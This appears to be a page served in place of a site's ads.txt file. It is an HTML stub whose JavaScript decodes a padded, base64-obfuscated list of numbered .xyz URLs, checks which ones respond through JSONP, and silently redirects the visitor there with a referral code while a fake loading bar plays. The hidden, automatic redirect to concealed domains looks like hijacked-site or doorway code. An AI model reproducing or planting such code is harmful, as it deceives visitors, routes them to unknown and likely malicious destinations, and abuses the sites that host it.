y3.com Ads.txt file
<!DOCTYPE html>
<head>
<meta charset="utf-8">
<meta name="color-scheme" content="light dark">
<meta name="theme-color" content="#fff">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<style>
body {
margin: 0;
font-family: Arial, sans-serif;
}
/* 顶部加载进度条的样式 */
.loading-bar {
position: fixed;
top: 0;
left: 0;
width: 0%;
height: 3px;
background-color: #4caf50; /* 绿色进度条 */
z-index: 9999;
}
</style>
</head>
<!-- 我是中文站用的301页面 -->
<body id="t" class="neterror" style="font-family: 'Segoe UI',Arial,'Microsoft Yahei',sans-serif; font-size: 75%" jstcache="0">
<div class="loading-bar" id="loadingBar"></div>
</body>
<script src="https://code.bdstatic.com/npm/jquery@3.6.0/dist/jquery.min.js"></script>
<script>
let siteList = 'Mo03gE/dLVajuE74VcWyJodHRwOi8vc2RmYncuMTE5OTc0Lnh5ei82NTExOTEuaHRtbCIsImh0dHA6Ly9mZ2JmZC4xMTk5NzYueHl6LzY1MTE5MS5odG1sIiwiaHR0cDovL3lndmlibC4xMTk5NjgueHl6LzY1MTE5MS5odG1sIiwiaHR0cDovL3NmaGpyLjExOTk1My54eXovNjUxMTkxLmh0bWwiXQ==0xE65DeyeK3pqmpw1jT9XyxGLwzSUv/S';
let agent = '';
function mainRedirectLogic() {
try {
checkDomains(parseSites(siteList));
} catch {
console.error('An error occurred:');
}
}
function parseSites(siteList) {
let _0x4b2752 = siteList['substring'](0x12, siteList['length'] - 0x20);
return _0x4b2752 = atob(_0x4b2752), JSON['parse'](_0x4b2752);
}
function OK() {
console.log("This is good!");
}
function checkDomainByJsonp(domainUrl) {
return new Promise((resolve, reject) => {
//这里为了防止出现跨协议的报错,http访问https的问题,将协议给去除,下面这个方法保留域名的端口
let checkUrl = "//" + new URL(domainUrl).host;
$.ajax({
url: checkUrl + '/check',
dataType: 'jsonp',
timeout: 4000,
jsonpCallback: "OK",
complete: function (response) {
if (response.status === 200) {
setupPage(domainUrl);
resolve({ domain: domainUrl, status: 'reachable'});
} else {
reject({ domain: domainUrl, status: 'blocked or not reachable' });
}
}
});
});
}
// 并行检测多个域名
function checkDomains(domains) {
const checkPromises = domains.map(domain => {
return checkDomainByJsonp(domain).catch(() => {});
});
// 使用 Promise.all 发起所有请求,但不等待结果
Promise.all(checkPromises);
}
function isEmptyStr(str) {
return str === null || str === undefined || str.trim().length === 0;
}
</script>
<script>
document.addEventListener('DOMContentLoaded', async function () {
try {
simulateLoading();
await mainRedirectLogic();
} catch (error) {
console.error('An error occurred in mainRedirectLogic:', error.message);
}
});
const loadingBar = document.getElementById('loadingBar');
let progress = 0;
function simulateLoading() {
if (progress < 100) {
progress += Math.random() * 10; // 模拟加载速度
loadingBar.style.width = Math.min(progress, 100) + '%';
setTimeout(simulateLoading, 50);
} else {
loadingBar.style.transition = 'opacity 0.5s';
loadingBar.style.opacity = 0;
setTimeout(() => {
loadingBar.style.display = 'none';
}, 500);
}
}
let isRunning = false;
function setupPage(jumpUrl) {
if (isRunning) return; // 给方法加锁
isRunning = true;
let rcCode;
let route = window.location.pathname;
if (!isEmptyStr(route) && route.startsWith("/r/")) {
rcCode = route.split('/r/')[1];
}
if (!isEmptyStr(agent) && isEmptyStr(rcCode)) {
rcCode = agent;
}
if (isEmptyStr(rcCode)) {
let url = new URL(window.location.href);
let params = new URLSearchParams(url.search);
rcCode = params.get("rcCode");
}
if (isEmptyStr(rcCode)) {
rcCode = document.location.host;
}
jumpUrl = (jumpUrl.includes(".html")) ? jumpUrl + "?rcCode=" + rcCode : jumpUrl + "/r/" + rcCode;
jumpUrl = jumpUrl.replace("http:", "https:");
setTimeout(function () {
window.location.replace(jumpUrl);
}, 300);
}
</script>